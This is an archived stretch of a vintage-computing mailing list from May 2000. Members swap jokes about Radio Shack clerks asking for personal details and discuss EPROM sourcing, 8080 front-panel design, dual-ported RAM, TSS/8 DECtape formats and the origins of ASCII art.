"jeff.kaneko" , From: Sender: Reply-To: Importance: normal Priority: normal X-Mailer: cc:Mail POP3 Server v8.30.00.4 X-MIME-Engine: v0.58 Subject: Radio Shack Experience Radio Shack Experience Do these guys at Radio Shack ever get on your nerves, asking you for a bunch of personal data when you're just there to buy something as simple as a couple AA batteries? I think we should inconvenience these people as much as they do us. A while ago I was in Enid buying a printer cable adapter and the guy asked me for my name. "Ghosseindhatsghabyfaird-johnson," I replied. (blank look of confusion) "How do you spell that?" he asked, obviously not wanting to know. "With a hyphen," I clarified. "Once more?" he asked. "Ghosseindhatsghabyfaird-johnson" "Could you please spell that?" he asked, glancing at the half dozen people waiting behind me. "Oh... just like it sounds," I said nonchalantly. Putting down "Johnson," he went on and asked about the address. "Washburn, Wisconsin, 14701 N.E. Wachatanoobee Parkway, Complex 3, Building O, Appt. 1382b," I replied. Almost through writing all this down, I said, "Or did you mean current address?" Stopping, he said, (becoming irritated) "Yes. Current address." "Diluthian Heights, Mississippi, 1372 S. Tinatonabee Avenue, Building 14C, Suite 2, Box 138201," I replied quite slowly. Waiting until he finished I said, "No, wait, it's NORTH Tinatonabee Avenue." Annoyed, he backed up and changed it. "I think," I interjected. "And is all this correct?" he asked in a standard manner. "Of course not," I replied, leaving, "If you want my REAL name and address, look at the damned credit card receipt." little mean, I must admit, but no jury would convict me... at least, none that had been to Radio Shack. ___________________________________________________________________ Try this next time your at R/S, Tim McEnulty Director - Business Development Defense Products Group ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From xds_sigma7 at hotmail.com Tue May 23 11:19:39 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:51 2005 Subject: good new/bad news on the VLC firmware Message-ID: <20000523161939.51556.qmail@hotmail.com> OK, I tried to send this direct to Chuck, but the e-mail bounced... anyway, I have 7 D27210's, all Intel, new in the tubes... Ironically, I got them from a former DEC engineer ;p If anyone needs some, let me know. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From allisonp at world.std.com Tue May 23 11:28:18 2000 From: allisonp at world.std.com (allisonp@world.std.com) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts and the like In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9159@MAIL10> Message-ID: > Thanks for the 8T97 offer. My goal for this project would be to make for > myself an 8080-based SBC using modern parts and having some sort of front > panel. I have no illusions of reproducing an Altair or IMSAI. The real work of making a SBC with front pannel is literally the front pannel. There are a lot of switches, leds and drivers required. A software front pannel like the H8 is far less hardware. Also you don't need the old parts if you not building an ALTAIR/IMSAI at the schematically identical level. If you want functionally identical and still S100 then 74HCT or even 74LS parts of late origin are a better bet. From the block diagram level it makes little difference if a buffer is 1/6th of a 8t97 or 1/8th of a 74hct244. Same applies to the latches used. Using the octal vs hex parts will save a few chips. Also as a point I"d do the IMSAI as the altair design was bad on a good day. Too many oneshots and the FP connected to the bus via a bundle of wires (some over a foot long) making the bus noise worse. IMSAI was design with the front pannel plugging into a S100 slot directly and was cheaper, cleaner and more reliable as a result. Allison From wilson at dbit.dbit.com Tue May 23 11:34:22 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:51 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <4.3.1.2.20000523000330.00d51b40@208.226.86.10>; from cmcmanis@mcmanis.com on Tue, May 23, 2000 at 12:11:34AM -0700 References: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: <20000523123422.A22900@dbit.dbit.com> On Tue, May 23, 2000 at 12:11:34AM -0700, Chuck McManis wrote: > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. > > Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web > site claimed they had them but the order failed and said "call customer > service" :-0. FWIW, I've had this problem with JDR before too, and it was no big deal. Web site says they have the item, but the order fails for mysterious reasons. Called them by phone but got the night shift, evidently they're just sitting in front of web browsers, no better. Called during the day time, they had to put me on hold but eventually they convinced their system to take my order, and it arrived with no more trouble. So give it a shot... John Wilson D Bit From wilson at dbit.dbit.com Tue May 23 11:40:23 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10>; from RCini@congressfinancial.com on Tue, May 23, 2000 at 08:50:52AM -0400 References: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> Message-ID: <20000523124023.B22900@dbit.dbit.com> On Tue, May 23, 2000 at 08:50:52AM -0400, Cini, Richard wrote: > This is what I meant exactly - no bi-directional data bus. I'm guessing that > there is a fine distinction between dual-ported and separate input and > output busses... Um, it's a *big* difference! Dual-ported means two separate ports that you can use at the same time. Separate in/out just means no need to disable the chip's drivers when writing to the memory. Faking separate I/O using bidir parts plus external buffers is easy. Faking DP using regular RAMs is a bigger deal, you need some kind of arbitration and something to generate mem cycle timing 2+ times as fast as the two busses that are attached. Still could be cheaper than truly dual-ported memory though, especially if you need something big but not too fast. John Wilson D Bit From CLASSICCMP at trailing-edge.com Tue May 23 11:44:00 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:51 2005 Subject: Vancouver, Cal's Computer Warehouse? Message-ID: <000523124400.20200574@trailing-edge.com> >Anybody up in Vancouver familiar with this place? > >They have a service manual for my NEC Silentwriter 2 model 90 on eBay right >now, but I am also curious about them in general. > >http://www.goseecal.com/ > >Cal's Computer Warehouse Inc. >3083 Grandview Hwy. >Vancouver, B.C., V5M 2E4 >Canada Kevin or some other Vancouverite may want to double-check the address, but I'm 99% sure this is the place that used to be called "Computer Warehouse" five or six blocks West of the Superstore on Grandview Hwy. Two years ago they had a fairly good selection of older PC-clone stuff, and some random other office equipment from around the area, but at generally pretty high prices. I mainly visited them when I needed networking cables and parts on a Sunday afternoon :-) I also got some working MFM drives from them, and numerous broken MFM drives! They had some moderately interesting stuff in their "museum" area, but generally just bits and pieces that had been ripped out; nothing resembling any sort of complete system. For a while, they did have a rather good selection of Apple II GS units and parts, judging by the burn-in on the CRT's they'd been used at a local video rental chain as point-of-sale terminals. -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From lemay at cs.umn.edu Tue May 23 12:20:25 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:51 2005 Subject: ASCII pictures available Message-ID: <200005231720.MAA17356@caesar.cs.umn.edu> http://afterhours.lpmud.com/~james The tar file contains directories, which then contain files compressed with the unix 'compress' command. 'disk1' and 'disk2' contain the big multi-overprint files that came from an old magnetic tape i read back in the 80's on a Control Data mainframe. You will note that you can fit disk1 and disk2 onto 2 floppy disks, and that they also contain a DOS binary program for uncompressing the files, if you dont have unix access. the vt100 directory is just some old VT100 text animations, and the small ascii directory came from some ftp site over 10 years ago. -Lawrence LeMay From foo at siconic.com Tue May 23 11:28:52 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: On Tue, 23 May 2000, Jeffrey l Kaneko wrote: > How many of you are irritated by the personal questions > asked by Radio Shack salespeople when you go there to buy > parts for *your* classic computer? Annoying as hell. I just look the salesclerk in the face and say "Dude, I just want to buy a damn !" Works all the time (rudeness has its place). Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cmcmanis at mcmanis.com Tue May 23 13:35:10 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: <392ACF5E.8B455A42@mcmanis.com> Jeffrey l Kaneko wrote: > How many of you are irritated by the personal questions > asked by Radio Shack You can always say, "I'm sorry I don't give out that information." --Chuck From healyzh at aracnet.com Tue May 23 13:42:17 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com> References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> Message-ID: >Jeffrey l Kaneko wrote: >> How many of you are irritated by the personal questions >> asked by Radio Shack > >You can always say, "I'm sorry I don't give out that information." >--Chuck Amazing how well that works at Radio Shack, and it doesn't raise anyones blood pressure. Though usually I use something along the lines of "You don't need that information." Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From wilson at dbit.dbit.com Tue May 23 13:49:52 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:51 2005 Subject: TSS/8 stuff on ftp.dbit.com Message-ID: <200005231849.OAA23455@dbit.dbit.com> I've just put a bunch of TSS/8 stuff at: ftp://ftp.dbit.com/pub/pdp8/tss8/ This is mostly a bunch of doodads I wrote when I had a TSS/8.24 system running briefly (from late 1983 when I bought it, to mid 1984 when the RS08 disk became too unreliable for the system to stay running), including an unfinished VT52 text editor and a pretty good start on a FORTH compiler. But also there's the source to the TSS/8.24 monitor itself, which I typed in from a borrowed listing (so some typos may have gotten through) and then lost on DECtape for many years. FYI in case anyone else ever needs this, TSS/8.24 DUMP tapes are really simple: The first and last blocks of each 1474-block DECtape are not used. Each 4 KW "track" (actually two tracks on an RS08) is stored as 32 (decimal) consecutive DECtape blocks, starting at block 1. Only the first 128 words of each block are used, and they're all recorded in the forwards direction. So up to 46. consecutive "tracks" fit on each DECtape, and you just concanate all the "tracks" from all the DECtapes in the set to get the disk. It starts at the very beginning of the disk, and even the swap tracks are saved. Anyway the ever-further-behind-schedule new version of my PUTR.COM utility for DOS will include at least read-only support for TSS/8.24 disk images (as long as they're similar to mine, i.e. SEGSIZ=256 and new enough to support the hack where filename extensions are added by encoding them in the high 5 bits of the protection code). It will read and write TSS/8 PUTR.SAV DECtapes too (which turn out to use the OS/8 file format, but with 11:1 interleave, TSS/8 style ASCII encoding, and the weird 5-bit filename extensions). Speaking of DECtape, does anyone know anything about PS/8 DECtapes? I have one image from David Gesswein which is supposed to be from PS/8, and it looks just like an OS/8 tape except that it uses only every other block for the first 256. OS/8 blocks on the tape. After that I can't figure out *where* things pick up again, I suspect some of the blocks may have been recorded backwards (like with TSS/8). Sound familiar to anyone? The tape has OMSI's hack of Edu-30 (?) BASIC on it and somewhere in there, there's a blurb about how proud they are of having sped things up on DECtape systems. So I suppose it's possible that this is just an OMSI-hacked DECtape driver and nothing to do with PS/8 at all. But then again maybe OMSI just changed how BASIC accesses the tape through the vanilla driver so it really is a PS/8 thing. Help!!! John Wilson D Bit From rich at alcor.concordia.ca Tue May 23 13:45:49 2000 From: rich at alcor.concordia.ca (Rich Lafferty) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: ; from healyzh@aracnet.com on Tue, May 23, 2000 at 11:42:17AM -0700 References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> <392ACF5E.8B455A42@mcmanis.com> Message-ID: <20000523144549.B1090@alcor.concordia.ca> On Tue, May 23, 2000 at 11:42:17AM -0700, Zane H. Healy (healyzh@aracnet.com) wrote: > >Jeffrey l Kaneko wrote: > >> How many of you are irritated by the personal questions > >> asked by Radio Shack > > > >You can always say, "I'm sorry I don't give out that information." > > Amazing how well that works at Radio Shack, and it doesn't raise anyones > blood pressure. Though usually I use something along the lines of "You > don't need that information." One fun part about going to Radio Shack in Quebec is that the (Quebecois) salesdroids don't always catch English (American) obviously-fake names. Wrigley Field, for instance, should have received a catalog addressed to Elwood Blues by now. :-) -Rich -- ------------------------------ Rich Lafferty --------------------------- Sysadmin/Programmer, Instructional and Information Technology Services Concordia University, Montreal, QC (514) 848-7625 ------------------------- rich@alcor.concordia.ca ---------------------- From foo at siconic.com Tue May 23 12:45:37 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com> Message-ID: On Tue, 23 May 2000, Chuck McManis wrote: > Jeffrey l Kaneko wrote: > > How many of you are irritated by the personal questions > > asked by Radio Shack > > You can always say, "I'm sorry I don't give out that information." On the same token, how many of you have gone to one of those computer superstores like CompuUSA or Fry's and felt totally indignant at having to have your bag checked and receipt highlighted with a marker for apparently no good reason? Well, I tired of that really quickly and now simply breeze through the exit (as it was intended) without even so much as acknowledging the poor idiot who has that job. The fact is, they cannot stop you and you have no obligation to stop. I haven't done any legal research but I'm sure "unlawful detention" comes into play here. I urge everyone who encounters one of these honorless systems to simply ignore them. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From jimw at agora.rdrop.com Tue May 23 13:46:19 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com> Message-ID: On Tue, 23 May 2000, Chuck McManis wrote: > Jeffrey l Kaneko wrote: > > How many of you are irritated by the personal questions > > asked by Radio Shack How many are not? (shorter list) Altho, in a previous life we had come up with what we considered to be a reasonable solution for this irritant. Altho since they no longer hand write the tickets it really won't work these days... I worked in a service center about a 2 minute (round trip) walk from a Radio Shack, so we made frequent excursions over there to pick up parts that we needed in a hurry, but not in a quantity that made it worthwhile to order from our distributor. Of course, the five minute interrogation tended to negate the time saving (note I won't say 'convienence') factor, and the sales droids were annoyingly determined to extract the information... So one day, we had an 'X'-stamper (self inking rubber stamp) made with the companys address (P.O. Box - no phone number) on it, and the next time that we got the interrogative from the droid, the stamp came out of the pocket, and WHAM'ed across the top of the ticket pad with a flourish and a satifying whump. As the sales droid's eyes glazed over... he hands up the ticket and we depart a good 4.5 minutes sooner than usual... After about three rounds like this, they stopped asking and just slid the pad over the desk for the ceremonial whomping. See... proper use of technology CAN simplify life! At least for some... -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From foo at siconic.com Tue May 23 12:53:42 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:51 2005 Subject: Question about ASCII art Message-ID: I am making the assumption that most of these ASCII art files were scanned from actual pictures and then rendered by some software? If so, is this software still around??? And what hardware was used to scan them? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From wilson at dbit.dbit.com Tue May 23 14:02:33 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <392ACF5E.8B455A42@mcmanis.com>; from cmcmanis@mcmanis.com on Tue, May 23, 2000 at 11:35:10AM -0700 References: <20000523.111414.-197469.0.jeff.kaneko@juno.com> <392ACF5E.8B455A42@mcmanis.com> Message-ID: <20000523150233.A23510@dbit.dbit.com> On Tue, May 23, 2000 at 11:35:10AM -0700, Chuck McManis wrote: > Jeffrey l Kaneko wrote: > > How many of you are irritated by the personal questions > > asked by Radio Shack > > You can always say, "I'm sorry I don't give out that information." I always say "PLEASE don't put me in your database" and never have trouble (I guess the "please" throws them off), *IFF* I'm paying cash. Once in Bellevue WA, the !(*#^%^ behind the counter said "OK, I'll just read it off your credit card!" I made her promise not to put me on the mailing list but as you can imagine, the deluge started almost immediately. IIRC it took *three* irate phone calls to the regional HQ or whatever, to finally get them to stop sending me their junk mail. Probably misquoting Kramer on Seinfeld: "Why does Radio Shack need your phone number when you buy a battery? It's a mystery!" John Wilson D Bit From mrbill at mrbill.net Tue May 23 13:58:41 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: ; from foo@siconic.com on Tue, May 23, 2000 at 10:45:37AM -0700 References: <392ACF5E.8B455A42@mcmanis.com> Message-ID: <20000523135841.D18382@mrbill.net> On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: > On the same token, how many of you have gone to one of those computer > superstores like CompuUSA or Fry's and felt totally indignant at having to > have your bag checked and receipt highlighted with a marker for apparently > no good reason? > Well, I tired of that really quickly and now simply breeze through the > exit (as it was intended) without even so much as acknowledging the poor > idiot who has that job. The fact is, they cannot stop you and you have no > obligation to stop. I haven't done any legal research but I'm sure > "unlawful detention" comes into play here. > I urge everyone who encounters one of these honorless systems to simply > ignore them. There was a big debate about the local CompUSA doing that recently, so a bunch of people from the austin.general newsgroup all went (about 20 of them), bought something simple like a mousepad, and then all walked out without letting the guy look at their receipt. 8-) Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From foo at siconic.com Tue May 23 13:03:04 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: Message-ID: On Tue, 23 May 2000, James Willing wrote: > So one day, we had an 'X'-stamper (self inking rubber stamp) made with the > companys address (P.O. Box - no phone number) on it, and the next time > that we got the interrogative from the droid, the stamp came out of the > pocket, and WHAM'ed across the top of the ticket pad with a flourish and a > satifying whump. A more effective measure would have been to stamp the sales droid's forehead ;) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From jbmcb at hotmail.com Tue May 23 14:31:22 2000 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 18:51:51 2005 Subject: Question about ASCII art References: Message-ID: <20000523192628.3345.qmail@hotmail.com> There's a library and a bunch of apps for *nix called aalib, look for it on freshmeat or icewalkers, or at a sunsite mirror. On faster machines it can render stuff realtime, there's a demo that fills your screen with real-time-rendered ascii fire. The *nix X-Windows rendering appy XaoS can render fractals in ascii using aalib as well. ----- Original Message ----- From: "Vintage Computer GAWD!" To: Sent: Tuesday, May 23, 2000 1:53 PM Subject: Question about ASCII art > > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > > If so, is this software still around??? And what hardware was used to > scan them? > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > > From donm at cts.com Tue May 23 14:32:41 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:51 2005 Subject: good new/bad news on the VLC firmware In-Reply-To: <4.3.1.2.20000523000330.00d51b40@208.226.86.10> Message-ID: On Tue, 23 May 2000, Chuck McManis wrote: > The good news is that I took apart my VLC, pulled out the two EPROMs > holding the firmware and successfully read them out and saved them to a > file on disk. > > The bad news is that the EPROMs are 27210's (64K X 16 bit) parts. > Apparently these weren't popular enough to either make it into the > "mainstream" or into over stock :-(. > > Digi-key, Mouser, JameCo, Future-Active, Wyle, all came up empty. JDR's web > site claimed they had them but the order failed and said "call customer > service" :-0. > > So there you go, a "valuable" IC for those with VLC's. You might check with ACP in the LA area. They have been known to have some odd ones now and then. - don > --Chuck > > From lemay at cs.umn.edu Tue May 23 14:50:11 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:51 2005 Subject: Question about ASCII art In-Reply-To: <20000523192628.3345.qmail@hotmail.com> from Jason McBrien at "May 23, 2000 03:31:22 pm" Message-ID: <200005231950.OAA17740@caesar.cs.umn.edu> The pbmplus package on unix systems used to have a program for converting raster images to ascii art. you should still be able to serach for it on the web. Possibly netpbm might also have it. Those images I put on the web site were scannen in back in the 60's/70's or so, and who knows how the guys at princeton did it.. probably used a video camera or something. -Lawrence LeMay > There's a library and a bunch of apps for *nix called aalib, look for it on > freshmeat or icewalkers, or at a sunsite mirror. On faster machines it can > render stuff realtime, there's a demo that fills your screen with > real-time-rendered ascii fire. The *nix X-Windows rendering appy XaoS can > render fractals in ascii using aalib as well. > > ----- Original Message ----- > From: "Vintage Computer GAWD!" > To: > Sent: Tuesday, May 23, 2000 1:53 PM > Subject: Question about ASCII art > > > > > > I am making the assumption that most of these ASCII art files were scanned > > from actual pictures and then rendered by some software? > > > > If so, is this software still around??? And what hardware was used to > > scan them? > > > > Sellam International Man of Intrigue and > Danger > > -------------------------------------------------------------------------- > ----- > > Looking for a six in a pile of nines... > > > > Coming soon: VCF 4.0! > > VCF East: Planning in Progress > > See http://www.vintage.org for details! > > > > > > > From cmcmanis at mcmanis.com Tue May 23 15:05:12 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:51:51 2005 Subject: Calling John Lawson References: Message-ID: <392AE478.851D9EE5@mcmanis.com> Sorry for the broadcast, John if you're reading this could you please call Chuck McManis at (408) 617-1005 ? Thanks! --Chuck From jimw at agora.rdrop.com Tue May 23 14:56:11 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: Message-ID: On Tue, 23 May 2000, Vintage Computer GAWD! wrote: > On Tue, 23 May 2000, James Willing wrote: > > > So one day, we had an 'X'-stamper (self inking rubber stamp) made with the > > companys address (P.O. Box - no phone number) on it, and the next time > > that we got the interrogative from the droid, the stamp came out of the > > pocket, and WHAM'ed across the top of the ticket pad with a flourish and a > > satifying whump. > > A more effective measure would have been to stamp the sales droid's > forehead ;) No foreheads... But I do recall getting a hand or two when they did move out of the way quickly enough. B^} -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From lemay at cs.umn.edu Tue May 23 14:57:16 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:51:51 2005 Subject: Question about ASCII art In-Reply-To: from Vintage Computer GAWD! at "May 23, 2000 10:53:42 am" Message-ID: <200005231957.OAA17751@caesar.cs.umn.edu> > > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > > If so, is this software still around??? Actually, the technique is fairly simple to program. It was actually used in Geography/map-making programs, as a way of printing out maps. I used to use a geographic information System that could print out the resulting geographical answers using various overstrikes to generate a greyscale map on normal 9 pin dot matrix printers. And I've seen the output of many other such programs while I was working on a second BS in geography. I probably still have some geography books that have examples of those maps for illustrative purposes. -Lawrence LeMay From jimw at agora.rdrop.com Tue May 23 15:09:35 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:51:51 2005 Subject: Question about ASCII art In-Reply-To: Message-ID: On Tue, 23 May 2000, Vintage Computer GAWD! wrote: > I am making the assumption that most of these ASCII art files were scanned > from actual pictures and then rendered by some software? > > If so, is this software still around??? And what hardware was used to > scan them? Well... I don't know about the 'official' methods (if there ever were such a thing), but one that I witnessed some many years ago over at Tektronix involved a large flat-bed plotter with a lamp/photocell combination mounted in a plotter-pen casing which was scanned across the target original in a 'raster-scan' mode. (left to right, return to left margin, drop down a specified distance, repeat) IIRC values from 0 to 64 (or was it 32?) were read from the photocell via a D/A circuit, and print lines were generated from a table of overprinted characters based on the values. Once upon a time, (and perhaps still buried in the archive somewhere) I had a copy of the character reference chart which showed the value, the final printed character cell, and the characters which made it up. (in the order that they should be printed... The source of many lively debates!) Spew forth into a print (text) file, load up some boxes of paper and a fresh ribbon, and yer off! -jim --- jimw@computergarage.org || jimw@agora.rdrop.com The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From healyzh at aracnet.com Tue May 23 15:30:11 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <20000523135841.D18382@mrbill.net> from "Bill Bradford" at May 23, 2000 01:58:41 PM Message-ID: <200005232030.NAA06353@shell1.aracnet.com> On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: > On the same token, how many of you have gone to one of those computer > superstores like CompuUSA or Fry's and felt totally indignant at having to > have your bag checked and receipt highlighted with a marker for apparently > no good reason? Actually from what I understand there is a good reason. Namely they don't trust thier own employees! Supposedly they're checking to make sure that the cashiers charged you for everything you got. However, considering how much I've dropped in both stores I've got to agree. It totally pisses me off! Zane From mikeford at socal.rr.com Tue May 23 15:55:24 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com> References: <20000523135841.D18382@mrbill.net> from "Bill Bradford" at May 23, 2000 01:58:41 PM Message-ID: >On Tue, May 23, 2000 at 10:45:37AM -0700, Vintage Computer GAWD! wrote: >> On the same token, how many of you have gone to one of those computer >> superstores like CompuUSA or Fry's and felt totally indignant at having to >> have your bag checked and receipt highlighted with a marker for apparently >> no good reason? > >Actually from what I understand there is a good reason. Namely they don't >trust thier own employees! Supposedly they're checking to make sure that >the cashiers charged you for everything you got. Try and get a refund if the receipt doesn't have the line on it. What I think is fun at Rat Shack is to tell them VERY seriously that your name is Zool or Bozo, 1122 Boogie Boogie Ave, Clowntown, Nebraska. OTOH if they ask for your zip, hand them a zip cartridge. IF they ask for phone number, give them the part number of a phone. IF they ask for address, 213.23.187.12 From rutledge at cx47646-a.phnx1.az.home.com Tue May 23 16:21:54 2000 From: rutledge at cx47646-a.phnx1.az.home.com (Shawn T. Rutledge) Date: Sun Feb 27 18:51:51 2005 Subject: Radio Shack Humour In-Reply-To: <200005232030.NAA06353@shell1.aracnet.com>; from healyzh@aracnet.com on Tue, May 23, 2000 at 01:30:11PM -0700 References: <20000523135841.D18382@mrbill.net> <200005232030.NAA06353@shell1.aracnet.com> Message-ID: <20000523142153.B8235@electron.quantum.int> On Tue, May 23, 2000 at 01:30:11PM -0700, healyzh@aracnet.com wrote: > However, considering how much I've dropped in both stores I've got to agree. > It totally pisses me off! Nearly everything about the Fry's checkout process sucks. If you go to buy computer parts like memory or a hard drive, they have long forms onscreen to fill out (including name, address etc, but usually they skip that part). Then they _print_ the form. (This is a computer store, haven't they heard of a network?) Last time I had to wait several minutes because the printer kept jamning. So then you walk up front and wait in another long line. Wait for somebody to hold up a sign. So low-tech. (I'm sure they must have fun telling new cashiers, "here's your sign". It would certainly be appropriate.) Half the barcodes don't scan. They used to use these old fashioned light-pen type scanners but at least the last time, they'd finally upgraded to the pistol-grip autoscanning kind. Then the cashier disappears for several minutes to get your stuff from the cage. He or she finally reappears, and after adequate payment hassle, you wait while the receipt printer (which has done nothing in advance of this moment) prints out two feet of paper, slowly, one line at a time. Then you go wait in line again at the exit. And get home to find out your product was already returned once and is missing something or doesn't work. So you can go stand in line again and shuttle more paper back and forth and be trapped into buying from them again because they will only give you store credit because you lost the receipt. What I would like to see instead, despite the cries of "Big Brother" from so many people, is a smart card or iButton that has the memory of who you are and all the ID numbers for all the various stores at which you shop. You use it when checking out like all the grocery stores are doing with the "[euphemism to make you feel appreciated] Card"s, but you use the same one everywhere. Encryption would be involved (the Java-iButton from Dallas Semiconductor would be perfect for this) so that each store can only get from your device the information that they put on it in the first place, as well as a little bit of "public" info like name and phone number. Somebody could make a killing selling POS systems to do that. But I guess the customer's convenience is really the last thing on their minds. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ Get money for spare CPU cycles at http://www.ProcessTree.com/?sponsor=5903 From eric at brouhaha.com Tue May 23 16:45:08 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts substitutions In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> (RCini@congressfinancial.com) References: <497A9E0467D2D2119B760090271EB8E50E9154@MAIL10> Message-ID: <20000523214508.23716.qmail@brouhaha.com> > This is what I meant exactly - no bi-directional data bus. I'm guessing that > there is a fine distinction between dual-ported and separate input and > output busses... Specifically, a true dual-ported RAM chip has separate address busses and control signals/strobes (*RD and *WR, or *CS and R/*W, or the like) for each port. Dual-port RAM chips tend to be expensive and not very high-density, so they aren't commonly found in commodity computer hardware. It's usually more cost-effective to time-multiplex a single port. Current manufacturers of dual-port RAM chips include Cypress and IDT. There are even some quad-port RAM chips now. From ard at p850ug1.demon.co.uk Tue May 23 13:42:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:51 2005 Subject: When new advertising meets old computers In-Reply-To: <200005230034.RAA27201@eskimo.com> from "Derek Peschel" at May 22, 0 05:34:04 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1282 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000523/b94919ae/attachment.ksh From ard at p850ug1.demon.co.uk Tue May 23 13:45:38 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:51 2005 Subject: Altair parts substitutions In-Reply-To: <000901bfc453$3768adc0$0400c0a8@winbook> from "Richard Erlacher" at May 22, 0 